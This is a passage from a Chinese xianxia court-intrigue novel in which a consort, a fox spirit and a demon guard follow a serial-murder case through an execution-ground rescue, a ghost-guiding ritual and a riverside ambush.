沈纨突然想起昨日狐狸说曾对行刑之事占过一卦,她一时忘了,不由问他:“你昨日说,占了个什么卦来?”
“天雷无妄,费解啊费解。”
“此人多半是个替罪羊,怎不是无妄之灾呢?”
狐狸皱着眉,把头歪向一边,似还在思考答案。
午时三刻将至,侩子手已正在准备,人群里流动着愤慨的低语,而前方的高台之上的京兆尹,刑部尚书和大理寺卿,神情各异,由于案情重大,三司督办,其中大理寺卿陈熙是唯一真正想要将真凶绳之于法的,无奈世家把持朝政,决心力保徐阐,他如今处境已颇难自保,无可奈何。
时辰到了,京兆尹黄天衍取下令牌,掷于法场之中。
嫌犯的重枷被卸下,表情灰败,侩子手孔武有力,举起了屠刀。
人群突然大乱,人群中飞出一柄铁锥,去势极其凌厉,钉在侩子手胸前,他闷叫一声,倒在地上,胸前血流如注,自刑台之下,四面突然冲出来四个武者,其轻功甚高,法场四面重兵把守,进者无人能带武器,这四个人夺了一旁侍卫的刀剑,有两人冲上刑台,斩断嫌犯缚在身上的绳索。
京兆尹站起来,大喊刺客,金吾卫兵分两拨,一拨忙着保护台上的官员,另一拨和那些劫法场的刺客缠斗起来。
其中一位刺客夺剑后,连续刺倒好几名金吾卫,像雄鹰擒杀猎物般将京兆尹抓出来,按在地上,手法极快,当众将他抹了脖子。
黄天衍血溅法场,刑部尚书吓得两股战战,险些尿裤子,人群大乱,你推我搡地向外跑,有更多的侍卫向法场中央集结,其中有弓弩手就位,没想到刑台上窜起大股烟雾,许多人弯下腰来剧烈地咳嗽。
混沌一把捞起沈纨,踩在人群中一些倒霉蛋的肩膀上,脱离了混乱的人群。
他们落在远处的一间店铺的屋顶之上,烟雾之中,有奇怪的光芒闪动,狐狸借着场面混乱,使了法术脱离人群,其他那四个小妖,也各凭本事,从人群中脱离出来,与初九会合。
待见到沈纨,初九恍然大悟地一拍手道:“原来无妄,是那个狗官呀!”
沈纨觉得方才的意外有些说不上来的熟悉,她回忆了半响,四名刺客中有一人身材甚为窈窕,分明是女人,片刻后突然忆起,那些人,是她当日与天子在平康坊附近瞧见的卖艺人!
彼时那些人拿的是没什么杀伤力的木剑和戏曲里的旗帜,有巡城的武官停下来瞧热闹,见到的都是些花里胡哨的热闹招式,瞧了一会儿,口中说着“花拳绣腿”,摇头走了,没想到这些人的真实水平竟如此厉害,金吾卫拦之不住,还公开处决了一名京城大员,当众抹了他的脖子。
他们早有预谋而来,顷刻之内,嫌犯被带走了。
33. 暗度陈仓
人群大乱,混沌感觉到饕餮已从人群间消失,看样子,他已经失去了看热闹的兴趣。
刺客放了烟雾弹将囚犯劫走,狐狸正在掐着指头占算应该向哪个方向找寻,忽然凭空听到一个声音:“在崇化坊。”
狐狸惊得跳将起来,不知是谁在对他说话,站在他面前的高大侍卫突然冲着他一扬下巴。
沈娘子的护卫分明是个目盲的武将,他不但懂得传音入密之法,还能在乱局中有精确的感知,初九心下更加敬畏,潦草道:“多谢前辈,沈娘子,我知道人在何处了,随我来。”
“这般过去是不是人太多了?”混沌看着初九和他身边的那一干小妖。
最后,是沈纨和云侍卫、初九一同前往崇化坊,其他四个恢复原型,跟在他们后面。
众人途径城门附近,竟也乱成一团,街上的百姓惊避,这些刺客挟着嫌犯前往城门试图冲撞,守卫试图封闭城门,被他们刺倒,逃出城外,大批兵马追出城去。
“难不成刺客带着人已出去了?”
狐狸摇头道:“是声东击西的计策,这些人兵分两路,带离的并非囚犯,真正的囚犯尚在城内。”
三人避开人群,借道僻静的小巷,来到一间荒废的民宅,才进入院中,混沌已感知到饕餮的存在。
“沈娘子且在此处暂候,不可打草惊蛇。”
他们藏身在阴影中,这个宅院有点荒败,给她一种极不舒服的感觉,正午才过,依旧觉得鬼气森森。
狐狸小声嘀咕:“崇化坊出了这么个凶宅,真不吉利。”
这一上午实在是太乱,她竟然没反应过来,崇化坊,此处正是徐阐作案的宅院,早已被官府所查封。
混沌也感知到此地阴气甚重,在此处惨遭毒手的人应比比官府公布的数字还多,但今日陡然间出现两个来自魔域的强大魔将,那些阴煞之物惧其威势,纷纷蜷缩退避。
此处曾被清理过,并被官府所查封,作案痕迹也被悉数抹去,但毕竟发生了众多命案,附近百姓认为此处不吉,平日也无人接近,而那些刺客,就选了这么个地方作为藏身之地。
这些江湖人士,身怀煞气阳气正气,那些阴邪之物反而主动避着他们。
刺客们将嫌犯按在院子里审问。
为首一剑客,三四十岁的年纪,形貌魁伟,甚是周正,眼神锐利,气质有些孤傲,正是他突破守卫干脆利落地抹了京兆尹的脖子,他在嫌犯面前踱步,细问究竟。
那替罪羊不过是个普通的都人,早吓得魂不附体,很快就把所有事情和盘托出,也出乎意料的简单,此人姓郭,邻里皆称其为五郎,是个家徒四壁的贫人,家中债台高筑,一日里连顿饱饭也无,徐氏许以重金,令其顶罪,承诺将厚待双亲,他此前在会审时认罪,双亲已得到二百两银,解了燃眉之急。
那剑客冷哼一声:“二百两就能购买一命,家有百万可屠尽全县,而世家积累百年,岂非还能屠城?”他低头看向五郎:“救你乃是出于公义,但你是否有求生之念?”
这五郎原就准备就死,没想到在鬼门关惊险地兜了一圈,竟然未死,几个非亲非故的侠士救了他,痛哭不已,连连磕头,那剑客皱眉道:“站直了说话,我且问你,徐阐如今在何处?”
“徐氏的三公子如今应是禁足于徐府。”
剑客眉头深锁,面色严峻地摇头:“我们夜探过数回,他不在徐府。”
“草民性命微贱,委实不知他的下落。”
沈纨不禁捂住了嘴,徐阐不在魏国公府,若流窜在外,岂不是还要放任他四处害人。
一旁的狐狸好奇,再次掐算起来。
剑客又问他:“你如今有何打算。”
“小人双亲在西郊的青萍村务农为生,如今京兆尹死,恐有祸事临头。”
“我等已将汝父汝母提前转移藏匿,青萍村临近西河渡口,那里有一乌蓬船,船主是我们的人,你若惜命,今夜便带上你双亲离京,顺着西河南下,一昼夜就可在千里之外,渝州不在徐氏势力范围内,你们一家三口可在渝州重新开始。”
“在西河渡,我们如何与船家厮认?”
“船夫腰上常别一把柴刀,左目有一伤疤,四十上下,你去只说高爷的人要去渝州就好。”那高姓剑客给了郭五郎一个特别小的信物。
言毕,他问身旁的几位刺客:“如今全城搜捕,你们三人可能带他出城?”
其中一人道:“此人身量不算高,若把须剃了扮作女子,可试着设法蒙混出城,凤鸣去购置装束,尚未归来。”
“那么,先等她归来再做打算。”
他示意其余同伴把郭五郎带下去,随后负手在院中转过身来,面向沈纨等人藏身的方向扬声道:“东墙下的朋友,藏了有一阵子了,出来一叙如何?”
混沌皱眉,他对自己的隐藏之术颇为自信,怎么还会被察觉?但他方才只护住了沈纨没管那只狐狸,还以为他能妥善隐藏自己,看来此人修为应当极为不俗。
罢了,他传音之法询问沈纨:
【此人无歹心,娘子,是否现身?】
沈纨哪里知道魔族和狐狸的藏匿气息的把戏,看那剑客形容雄壮魁伟,气质颇正,身边又有狐狸和云侍卫,没什么好怕,于是她点点头,一人,一魔,一狐狸精,同时现身。草丛里还有动物几只,表面上是三人现身,实则四面八方都热闹得很。
那剑客露出惊诧的神情,他自诩修为过人,察觉到东墙下有不速之客,但只感觉到一人,没想到一下子出来三人,其身份也大出他的意外。
一个十七八岁的女郎,容貌绝美,看着手无缚鸡之力,旁边还要个年纪更小的姑娘,生得也很娇俏,另有一盲眼护卫,生得高大但并不粗犷,气质模糊飘渺。
“几位贵客不请自来,不知有何见教?”
“壮士义举,小女子看得钦佩,但又不禁好奇,为何冒死救那替死之人?”
“你等既听了半天的壁角,应当知悉,我们为徐阐而来。”
“壮士确定凶手就是徐阐?”
“他为祸数年,在殷州时就累犯命案,京中女子失踪或死亡有数十者众,算上殷州,将以百计,他父亲为殷州刺史,官府奈何不得,没想到在京城,又是世家之
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后,我等受托而之,见他不能伏诛,也只好替天行道,我瞧女郎手无缚鸡之力,又是为何而来?”
“我亦有亲近的友人因他而亡。”若非银杏居设下奇妙的保护,恐怕连她也得遭他毒手。
正说着话,有一女子越墙而至,看上去风尘仆仆,有些疲态。
“外面状况如何?”
“禁军守住所有出口,搜查所有出入马车和出入之人,不论身分,怕是有些麻烦。”
那剑客不语,陷入沉思。
沈纨在一旁悄声问狐狸:“你们那些把戏管用么?”
“我?”
“就是混淆视听的,迷一迷城门的守军,把人运出去,你们可是有好几个人呢。”
混沌心道问狐狸还不如问他,但保持沉默,未发一言。
“这有何难,狐狸笑道,狐长老考较我等法术,有时就是出入城门,迷惑那些守军,不在话下,可他们这么些人,马车可塞不下呢。”
沈纨低头一想:“都回到京城了,我也可也先回银杏居,差人送信去清泉山知会郡主,以免她心忧。不过,你可愿送他们安然出城?”
“这有何难,包在我身上。”初九信心满满地答、
于是沈纨抬首转向面前的一干侠客:“你们,要不要让那五郎跟着我的车出去?”
“女郎有何赐教?”
“我进京的马车乃是京里的一位贵主所借,守城军认得,多有礼遇,他若易容成女子,或可蒙混过去。”
“此事重大,我等如何能信任娘子?”
沈纨犹豫要不要表明身份,狐狸在旁笑眯眯道:“我本与阿姊今日要出城上香,如今阿姊留下,我随你们出城,我一个十四岁的丫头,手无缚鸡之力,若将你们卖了,不妨将我抹了脖子。”然后他一一点着面前的众人。又道:“这位拿着剑的姊姊就是我阿姊,五郎便是粗使丫头,阁下是我和阿姊的尊长,你旁边那名剑客,就劳烦做个车夫了。”
那姓高的剑客沉吟片刻,然后点头道:“在下高觉,两位姑娘如何称呼?”
“家姓不便透露,我小字如月,各位不妨如此唤我便是。”
“叫我阿九。”
“那么,两位姑娘,幸会。”
高觉身旁的女剑客亦简短地自报了性名,她叫凤鸣。
凤鸣精于易容之术,没多久就将郭五郎打扮成一个女子,竟是不大看得出原本的形貌了,黄皮子驶来了马车,并让出了车驾,除了狐狸之外,其他的小动物都没有跟随。
临去前,凤鸣对沈纨道:“娘子莫担心,我会想法子托人将舍妹安全送回。”
初九笑眯眯,语气狡黠:“我什么都不怕。”倒不如说,过一会儿,还得仰赖他的把戏,去迷惑城门的守军。
马车缓缓地驶离,小动物们从草丛里钻出来,却没有离开的意思,此间荒疏了有一阵子,
沈纨问初九的朋友们:“你们是留下等他,还是回风泽山去?此间有不少命案,非是久留之地。”
她听到一阵少女的笑声,草丛里的青蛇抬起头,发出人语:“我们正是为此留下。”
34. 讨封
四只动物在沈纨面前体型突然变大数倍,并直立起来,初九的狐形是只红毛双尾狐,动物形态就十分可爱,化为人也是个还剩狐耳尚未隐藏的美少年,但沈纨今日看到那些半具人形的精怪,由于化相不完全,变成了大耗子和巨型的黄鼠狼与刺猬,不免有些毛骨悚然,紧张地攥紧了手。其中最像人形是那青蛇,已然可见少女的姿态,只是皮肤仍有大片蛇鳞,而脖子也长得超出常人。
身边的云侍卫稳如泰山,一动不动,她不禁抬头看他一眼,却见他神色如常,凝神望着前方,殊无惧色,混沌意识到沈纨在看他,低头问道:“娘子可要现在离去?”
那一旁四只小动物正忙着,其实无暇理会他们,地面发出光亮,他们自当中召唤出法器与五方旗,按方位摆好。
“不必,只是,有点惊讶,云护卫,你一点也不觉得奇怪吗?”
他一怔,像是反应过来什么,颌首道:“世间的确无奇不有。”嘴角抿一抿嘴角,也不知道是不是在笑,表情变化接近于无:“开了眼界。”
看四个妖怪在庭中做法,却面不改色,简直不是一般的心理素质,她在刚及笄的年纪,在慈缘寺照料过贫病的百姓,见过死亡,她还道自己相比一般的闺阁女子多少见过些市面,没想到陛下派来的这么一个喜怒不形于色的神秘侍卫,什么都不在意,什么都不怕,她一个宫妃,三不五时外出,以身涉险,认识一大群妖怪,他永远不阻拦,忠心耿耿跟随,也叫她开了眼界。
天色还未暗下来,庭院内的气氛陡然变得阴森起来,四面八方涌现出透骨寒意,渗入肌肤之中,沈纨忍不住哆嗦起来。
突然之间,她面前出现了活动的人影,鬼影憧憧,从地底钻出来,还有的幽魂自隔壁穿过墙飘过来,进入五方旗布下的术阵之中。
她们生前都受了严重的折磨,小妖怪们在引渡她们往生。有一个女孩子头骨遭到了严重的致命伤,浑身是血,她在术阵中,身上的血块剥落下来,逐渐恢复原本的形貌,但肢体已然是残缺的。
沈纨突然大吃一惊,几步走上去:“琪娘,是你?!”
那个表情凄惨的女孩儿抬起头来,面容呆滞,花了好一会儿才认出她来:“是你吗?如月?”
她心潮澎湃,心脏砰砰直跳,情绪里混杂着恐惧和激动问道:“你可还记得是谁害了你?”
“是……徐家的公子,我想,应是徐家二公子的族兄。”
小青蛇在旁劝道:“姑娘,滞留人间太久对你不好,此处不祥得很,早一些离去吧。”
沈纨猛地擦了擦眼泪:“琪娘,你有什么未了的心愿吗?可托付给我。”
“母亲还好吗?”
“她心伤你遭遇的不测,回乡下疗养了。”
“我也只想再见见母亲,希望她保重身体。”
沈纨道:“我不懂这些,请问各位小仙长,世间可有信得过的术法,可以托梦。”
不知为何,小青蛇似乎畏惧地看了一眼沈纨身后的侍卫,但他也只是像个木桩般地杵着,一动也不动,她叹了口气道:“有是有,可你们如何能确定找的道士靠得住?外面那些……唉,算了,我就损耗一些自己的修为,帮你一把也无妨,让你和令慈今夜梦中一会,不过之后可要乖乖向着有光的地方走哦,不然我们白渡你了。”
“我应当如何谢你,我这个样子……”
小青蛇不说话,她过长的脖子轻轻摇晃着,好像在思索什么,然后小心翼翼地问琪娘:“你看我像人吗?”
沈纨和琪娘都露出惊讶的神色看着青蛇,沈纨意识到她似乎遇见了民间极为罕见的动物讨封,不过这只青蛇距离人形甚远,她皮肤有鳞片,吐着信子,还有长长的脖子和一对竖瞳,但很慢很慢地,琪娘似乎也意识到了什么,回答她:“像。姑娘比我见过的许多人要好,若修出人形,应该也很美。”
青蛇身边出现耀眼的光芒,片刻后,她真的变成了一个颇为秀气的姑娘,虽然她的眼睛看起来依然像蛇,皮肤还有鳞片,但已完全具备了人的形貌。
琪娘转向沈纨,向她最后告别:“你此前入宫,却无机会道别,现在是真的要说再见了,如月,在宫里也要多保重。”
她的身影逐渐变淡,然后消失了,小妖怪们继续送走了一些亡魂,其人数高于官府所公布的数字,沈纨已不再害怕,但她内心难受,恍惚地等着小妖们结束了引渡,宅院内的凶煞之气已经退去,显得荒疏而孤寂。
在那之后,沈纨与小动物们分别,混沌护送她提前回到银杏居,她派差役前往清泉山,向郡主传达口信,因天色已晚,决定留京,就不回慈缘寺了。
一日之后的夜晚,沈纨托着腮在院子里发怔,不时又站起来在院子里走动,她昨日见到琪娘,越发觉得,不可轻易放过凶手,心中第一次产生了一种,即便早些时候出宫都不曾有过的怨恨,内心纠结不已。
草丛里有响动,她听见轻微的吱吱叫声,循声望过去,红色的毛绒尾巴一闪而过。
初九。
银杏居平素人不多,她现在没有侍女时时跟在身旁伺候,福锦姑姑正在她的香房内做睡前的准备,蒹葭白露也在她俩的厢房之内忙着自己的活计,沈纨在她们的视线之内,不过,暂时离开一会儿也无妨,她起身走到了后院。
“你平安把他们送走了吗?”
“送是送走了,不过,我今日发现西河渡口有情况,恐怕要枉费了娘子的一片好心。”
“什么情况?”
“娘子想去看看吗?”
“现在天色已晚,城门早已关闭了。”
“我们不从城门出去,娘子若想去看看,一个时辰后,依旧在后院等我。”
初九给了她来自风泽山的一炷香,今日值夜的是福锦,入夜之后她歇在外面,她点上了狐狸给的香,内心抱歉。福锦原是徽元殿的掌事宫女,作为天子亲信出宫侍奉,陛下神出鬼没,时常让宫人好找,现在来侍奉沈婕妤,没想到她相比陛下也不遑多让。
院子里寂静无人,蒹葭白露也吹灯睡了,月光下一只红色的小狐狸端坐在院子里,两只尾巴轻轻摇晃,他突然受惊,跳起来跑到沈纨脚边,探出半个脑袋警惕地从她身后张望。
一个高大修长的身影抱着手倚在廊下,混沌自阴影中走出来:“婕妤娘子,陛下曾有旨旨,娘子若有意远行,务必带上卑职。”
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狐狸非常怕混沌,躲在她身后不敢出来,沈纨被逮个正着,她不自然道:“云护卫,烦请你对陛下保密。”
他表情依旧看不出什么变化:“陛下不会介意此事,但陛下在意娘子安危,既然娘子不欲他人所知,卑职自然遵命。”
………………。
不知道是该说,当宠妃就是好,还是天子压根不在意她,毕竟她入宫也没有几个月就被送出来了,她入宫前还做好了心理准备,宫廷是个什么样的寂寞所在,她心里是明白的,彼时还想,即便效法班婕妤又有何妨,没想到入宫没几个月,出宫也没几个月,吸引来一堆妖怪不说,竟比在闺中之时,去了更多不可思议的地方。
她低头对狐狸道:"初九,没事的,我们走吧。"
后园停了一驾鬼气森森的乌盖车,似是用古旧的乌木打造,木头上有裂纹,看上去支离破碎,随时要散架般。不知何故,这马车的木头给人一种棺木之感,让人不寒而栗。马车四周泛着淡绿的光,时明时暗,看起来更加吓人。
前头拴着两匹瘦骨嶙峋的马,全不像活物,眼眶中燃着幽蓝的微光,鬃毛像烟雾一般,马腿毛色斑驳,车身两侧有像蛇一般的怪异图案,透着妖异之气。
驾车的是个老妇人,身穿破旧的黑袍,她看起来非常老了,佝偻着背,满脸皱纹,两颊的面皮垂下来像一个口袋,但见这老妇人生一副狭长的眼睛,瞳孔竖立。
老妇人看到沈纨和初九,咧嘴一笑,露出满口尖锐发黄的牙齿:“小狐狸,竟然带来了这么个美貌的小娘子。”
她说话带着怪异的嘶嘶声,舌头竟分叉如蛇舌,迅速探出又收回,显得滑腻阴森,头发稀疏如枯草,两颊的皮肤还隐约有些蛇鳞状的纹理。
这分明不是人类的长相,她之前已经见过好几类妖怪,虽然蛇姥姥生得瘆人,她现在也不会被吓到了。
狐狸变回少年的样貌:“这是幽鳞姥姥,沈娘子,不用害怕,姥姥可是狐狸客栈的常客,平时最疼我。”
沈纨鼓起勇气道:“老人家有些面善。”
幽鳞姥姥嘶嘶地笑道:“小娘子好记性,你去岁同你郎君造访狐狸居,有过一面之缘。”
“原来如此,见过姥姥。”
“嘶嘶……小狐狸好管闲事,非要劳烦老身夜半陪他走这一遭,上车吧。”老妇人说着拉起了马缰,她的手指枯瘦细长,指甲尖利,泛着惨绿的暗光,像被毒液浸染过一般。
混沌自她身后上来,蛇姥姥察觉到魔将异乎寻常的压迫感,不安地嘶嘶叫,倒是混沌表现得礼数很是周全:“卑职负责保护沈娘子,见过老人家,有劳。”
他与蛇姥姥一同坐在车头,而初九与沈纨一同钻进了车里。
马车内部泛着淡淡的青雾,沈纨坐进去,闻到一股奇怪的苦味。
“娘子莫担心。”小狐狸此时恢复少年模样,在一旁坐好:“这青冥车只是看着吓人,这些青雾是驱毒的,蛇姥姥百毒不侵,如果通过剧毒的瘴气林,这些青雾可保安泰。”
月色之下,两匹马瘦骨嶙峋的怪马眼睛里燃起青色的火焰,一片翠雾裹住那奇异的马车,雾气腾空,消失在夜空中。
35. 审判
沈纨感到马车震动,并腾空而起,两侧和前方的车帘都很破,被夜风吹起,她才意识到自己真的在半空,并在没多久后,就越过了高耸的城墙,飞离了京城。在一轮满月之下的夜空,划出一条带着青雾的弧线。
离开京城以后,蛇姥姥驾车的速度突然变快,那两匹鬼气森森的瘦马化作青雾,雾气像蛇般舞动,变成两条巨大的蟒蛇,沈纨自掀动的车帘看到车头攒动的蛇头,震惊得捂住了嘴。
“嘿嘿。”初九在一旁只是笑:“蛇姥姥这个车,其实不是马车,这可是狐狸居四方闻名的青冥灵蛇车。”
随后狐狸告诉她,郭五郎和双亲今夜将前往西河渡口,登船离开京城,狐狸突然叹了口气:“只怕没那么容易,我觉得那个五郎,非常犹豫,不那么情愿离开。”
“那些侠客应当会护送他和双亲离开吧?”
“渡口有船夫接应,不过有几位剑客打算留下,继续搜寻那徐三公子的下落,”
“他恐怕已被徐氏严密地藏起来了。”
“其实……我已发现了他的下落,他在上阳宫,那处离风泽山不远,我和蛇姥姥今次出来,竟无意间发现了上阳宫已被启用。”
上阳宫为天家行宫,素有禁军把守,徐氏竟擅自僭用,还把后代藏匿在了那里。
她不由有些难过地想,恐怕天子对世家影响的限制,的确是有心无力了。
话题又转向其他,她对狐狸的同伴甚为好奇,见他们引渡徐阐旧居里的亡灵,观之并不像邪术,那么妖族里是否又存在旁门左道之辈?
“怎么没有。”初九道:“风泽山附近那养着黑虎的黄眉妖道,就困扰我族久矣,有赖陛下除害,所以狐长老说过,若陛下有所求,我族当还此恩。而我辈所居的风泽山,受道域庇护,是以此间的精怪修行,多数避免有伤天和之术,天上的前辈每三十年,都会下界前来风泽山,检视吾族的修行,避免有精怪走入歧途,为祸人间。但天地广大,人都有私心,妖又怎会不分正邪呢?”
“道域又是个什么所在?”
“九天之上,可是有个像天界一般的所在,那里的前辈,寻求长生之道,与人世分离,但千百年前,也可算是娘子的同胞。而九天之下,亦有深不可测的幽冥魔域,既非吾族,也非娘子的同胞。不过,我也不知那处是个怎样的地方。”
初九没有刻意压低声音说话,沈纨听得很是困惑,混沌也默不作声地听了个清楚,今晚正巧,一个破车里,塞进了两个妖,一个人,和一个魔。
灵蛇车掠过林中的树梢,不久后沈纨感到一种下坠感,蛇车停在了林间的一片空地上,她听见奇怪的嘶嘶声,两条巨蟒再次变成了瘦骨嶙峋的马,然后拉着他们继续向前,停在了一片树林边上
初九率先跳下了马车,沈纨随后跟出来,狐狸说道:“不宜再靠近了,否则会打草惊蛇,娘子可瞧见了那边的船?”
前方模糊可见蜿蜒的河流,听得流水潺潺,河边停着一艘乌篷船,隐约一豆灯火挂在船头,能看见船夫模糊的轮廓,众人来到树林边,隐在灌木丛之后,狐狸对她说:“丑时将至,他们应该快来了。”
沈纨静候在灌木丛中,混沌皱起眉,已发觉情况不对,幽鳞姥姥歇在他们身后不远处的一棵树下,似乎也因为察觉到了什么发出嘶嘶声,小狐狸修为次一些,尚无反应,沈纨一个普通少女就更不必说。
河岸西边传来若干足音,为首的高大剑客正是高觉,其他三名侠客跟在后面,众人领着郭五郎并他父母来到河岸边,一家三口进了船内。
河岸的树林气氛陡然变化,四面八方出现了幢幢人影,急速向河岸边集结,有火把亮起来,从密林深处有一队官兵急向停船处合围而来。
“唉呀!”狐狸在她身旁小声叫道:“原来他是去告密了!”
官军提前在此间设下了埋伏。
随着火把亮起,林间出现大量的弓弩手,对准了河岸边的数个侠士,弩箭齐发,他们忙拔出刀剑招架,这批人武学修为甚高,一时间弩箭竟伤他们不得,其中一人向对岸投掷了一枚烟弹,林间咳呛声一时此起彼伏,侠客们趁乱厮杀,有许多官兵被刺倒,烟雾中乌蓬车正在驶离。
又一队官兵前来支援,他们的武学素养远不及这批神秘刺客,转眼间有许多人倒在地上,那些刺客渐渐杀出一条血路,其中有人突然跪倒,在地上咳出一口血,一名官兵趁机上来,砍中他后颈,令其当场毙命。
高觉闻到他血气里有不寻常的刺鼻气味,这时另一名同伴也跟着倒下,咳出黑血。
“不好!他们中了毒。”沈纨听出女剑客凤鸣的声音,她突然转过身,剑指乌蓬船:“我等一心救你们,你们竟然下毒!”
一名有品级的军官提剑踱出,呵呵笑道:“逆贼弑杀朝廷命官,还不速速引颈就戮,以免遭受凌迟之刑。”
“先杀出去,再做打算。”高觉回身吩咐船夫:“你也快走!”
那身着蓑衣的船夫以船橹作武器应敌,将一人高的船橹舞得猎猎生风。高觉也与那军官缠斗起来,弓弩手在四周待命,见刺客与上官缠斗不休,一时间不敢下手。
但另有数名剑客运气就没那么好了,官军人多势众,他们受了重伤,陷入被屠戮的绝境。
沈纨忽然道:“云护卫,你帮得了他们吗?”
“要留活口吗?”
他的语气是如此地轻描淡写,沈纨一时间突然感到毛骨悚然,抬起头,看向他面无表情的脸庞,仿佛只要她点头,在场的所有官兵会一个不留地命丧他手。
“我不太习惯这样,你还是以救出那些剑客为先吧。”
“领令。”
沈纨眼前一花,面前高大瘦削的青年瞬间已出现在河边,陛下赐给她一个气质神秘的侍卫,她却从未见过他真正的实力,而且起看起来也一点不受目盲的影响。
河岸边突然介入了一个身材比在场众人都要高大的武官,手持一柄形制奇怪的长兵,弓弩手在树林中就位,却见他一剑挥出去,树林里接连传来惨呼,弩箭的攻击瞬间消失了大半。那些和官军缠斗的剑客已经算是人中龙凤,但突然间介入河岸的神秘武者却改变了局势,手起刀落就是一条命,在绝对实力面前人数和武学招式都失去了作用,甚至还带来一种难言的恐惧,仿佛死亡近在眼前,吓得那些官军两股战战。
混沌把两个重伤的剑客推向高觉和凤鸣的方向,二人听到一个声音在他们耳边响起:“还不走,不想活了么?”
凤鸣散开一个烟弹,趁场面混乱,携受伤的同伴遁入林间,不知所踪。
眼见刺客们逃离,领命前来缉拿要犯的武官刚要下令,混沌抢到他面前,沈纨听到一阵惨叫伴随着骨骼碎裂的声音,随机收了兵器,身形一晃从河岸边消失了。
上
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官受了致命伤,危在旦夕,前来的官军一时混乱,忙着上前救援,原本万无一失的瓮中捉鳖,却被未知的援军介入,气势大受影响,人数折损过半,他们疲惫地将船中的五郎一家三口押出,一行人离开了河岸。
官兵既退去,那些刺客在林中搀扶着受伤的同伴寻找休憩之所,高觉突然顿住脚步,示意众人停下,他们面前站着一个俏生生的年轻女郎,她身边正是那高大寡言的神秘剑客。
凤鸣看到沈纨并无好气:“今日之举,莫非是你等的计谋?”
沈纨道:“我若有心向官府邀功,又何须相救,我只想知道,五郎究竟做了些什么,为何出尔反尔?”
高觉沉默地看着她,经过今夜的意外,他们对京城人氏的信任大减,沈纨站在他面前不语,而她身边那个高大沉默,蒙着双眼的护卫更是极具威慑。
他一声叹息,道出原委,各种曲直并不难理解,五郎因家贫而被世家说服成为替罪羊,又惧怕世家威势,对背井离乡心怀恐惧,此前对于是否离京本就犹豫,五郎今夜借口回村收拾细软离开了一个时辰,现在想起来,当是报官去了。回来时带了些口粮,说要“答谢恩人”,而那糕饼也是下了毒的,有若干同伴未及食用,故此逃过一劫。
“那么诸位有何打算?如今京城搜捕甚严,还不尽快离京么?”
高觉也抱拳谢道:“我等自有去处,今夜之事,高某谢过姑娘与这位义士援手。”
似乎没有太多可说的了,沈纨向云侍卫点了点头,决定折返,与狐狸和蛇姥姥会合,已经走远,她却又停下脚步,取出怀中总是随身携带的金创药,转身去见那些正决定踏上另一条小路的剑客,她把药交到凤鸣手上。
“这几帖是金创药,对刀伤有用,诸位收着吧。”
凤鸣迟疑地看着她,沈纨放低了声音道:“……徐阐在上阳宫。”
“你说什么?”凤鸣很是惊讶。
“信或不信都由得诸位自决,告辞了。”
“你……为什么要……”
“小女子希望真正的凶手伏诛的心情,与诸位行此义举的动机,应当没有什么区别,京城险恶,烦请诸位自行保重。”沈纨转身走远了。
刺客们在法场造成的动荡并未造成什么根本性的影响,几日后,官府的判决下来,要犯郭五郎勾结反贼,性质恶劣,由斩立决变成了凌迟处死。而他造成的意外反过来帮了徐氏一个大忙,一群刺客冒死劫囚,郭五郎被定性为他们的同伙,于是这起震动京城多月的连环命案也,被描述成多人作案,民意因而被搅浑,真凶是谁,彻底成了一桩迷案。
没等来什么正义,此案就这么平了。
几日后,沈纨模模糊糊听得消息,携妻进京拜访岳家的殷州刺史陈永,将会在岳父长乐侯徐虎的生辰宴后,与阮夫人返回殷州,徐阐很有可能跟随母亲以及继父离京南下,若回到殷州,怕更是无法无天了。
魔情近日听混沌回报的消息,都忍不住摇头感叹:“她倒是忙得很。”
“公子有何打算?”
“我今晚去见见她。”
眼下他正在蓝月幽阁之内,虽然披着小皇帝萧誉的皮相,却有一双金色的双瞳,眼神妖异,注视着面前一盏飘摇的魂灯,灯火摇曳,将灭未灭,是命数将尽的征兆。
那是徐阐的魂灯,人间的审判结束了,冥冥之中的力量正要出动。
36. 上阳纨绔
这天晚上,沈纨正欲更衣就寝,天子却忽然而至。
“陛下怎么今日过来也不派人来说一声,妾也好提前准备接驾?”
“心血来潮想来就来了,福锦姑姑,朕今夜就不走了,有话要和婕妤一叙,你可不能来打扰。”
福锦非常欢喜地答应下来,她将蒹葭白露叫进来准备寝具,待点燃熏香,一切张罗好之后,引天子与沈婕妤进入睡房之中,她自己则歇在外面。
卧房的门刚阖上,天子就低声对沈纨说:“换身衣服,陪朕出去一趟。”
“在这个时候?”
“你挂念之事要有结果了。”
“陛下怎么知道妾挂念什么?”
“你都快成活佛了,还能挂念什么?你不好奇朕都好奇,随朕去吧。”
福锦歇在外面,才吹了灯未久,未必就睡熟了,沈纨悄悄地推开门,一旁天子抬手,食指与中指并拢,俐落地向福锦挥将出去。
“点了睡穴,几个时辰内醒不过来的,走吧。”
福锦体贴心细,却不幸伺候的两任主人都不省心,皇帝陛下兴致所至说玩失踪就玩失踪,沈婕妤也是找到机会就偷跑,几日前靠一根狐狸香就午夜出去见一群妖怪,今夜又被天子点了穴,两个人一溜了之。
沈纨心里很是愧疚,如今天色渐渐凉了,经过福锦,见被子从她肩头滑脱,替她往上拉了拉,盖住肩膀。
暖塌旁有张黑漆嵌宝的小几,几页纸张飘落在暖塌上。
是府里的日常记录,其中还有一句墨迹将干未干的记述,显然刚写下未久,记录了今天的日子,天子幸银杏居。
简言之,这是一则彤史的记录。
陛下性子捉摸不透,想来对她没什么兴趣,也不知与宫里的贵妃怎生相处?沈纨默不作声地将纸张收拢,压在镇纸下。
他们悄悄出了银杏居,天子像只敏捷的夜行动物一般,巧妙地领着她避开巡夜的金吾卫,但来到城门之后,状况就不一样了,高耸的城墙上每隔几处就建有瞭望塔,厚重的大门在宵禁时紧闭,只留一扇小门供紧急出入,即便如此,守城的侍卫也为数众多,完全看不出来要怎么才能通过。
“陛下轻功过人,但是这里……”
天子没有回答,低着头不知道在看什么,他突然弯下腰去,俯身拾起一些小石子,夹在指缝间,待一队巡逻的士兵走远,以暗器手法掷出,打中守门的四个守卫,他们站着不动了,城门的瞭望台上尚有两个守卫,第二波石子又至,于是小门前的高处与守门的六个兵卫,如木桩一般被钉在了原地。
随后,他牵起沈纨的手,大摇大摆地走了出去,还顺手牵走了城门前的一匹马。
“就这样?!”
“大道至简嘛,走吧。”
“陛下,就这么被看到真的好吗?若是被他们记住了脸。”
“你不觉得他们记住朕的脸反而更有趣吗?你猜他们敢不敢认?”
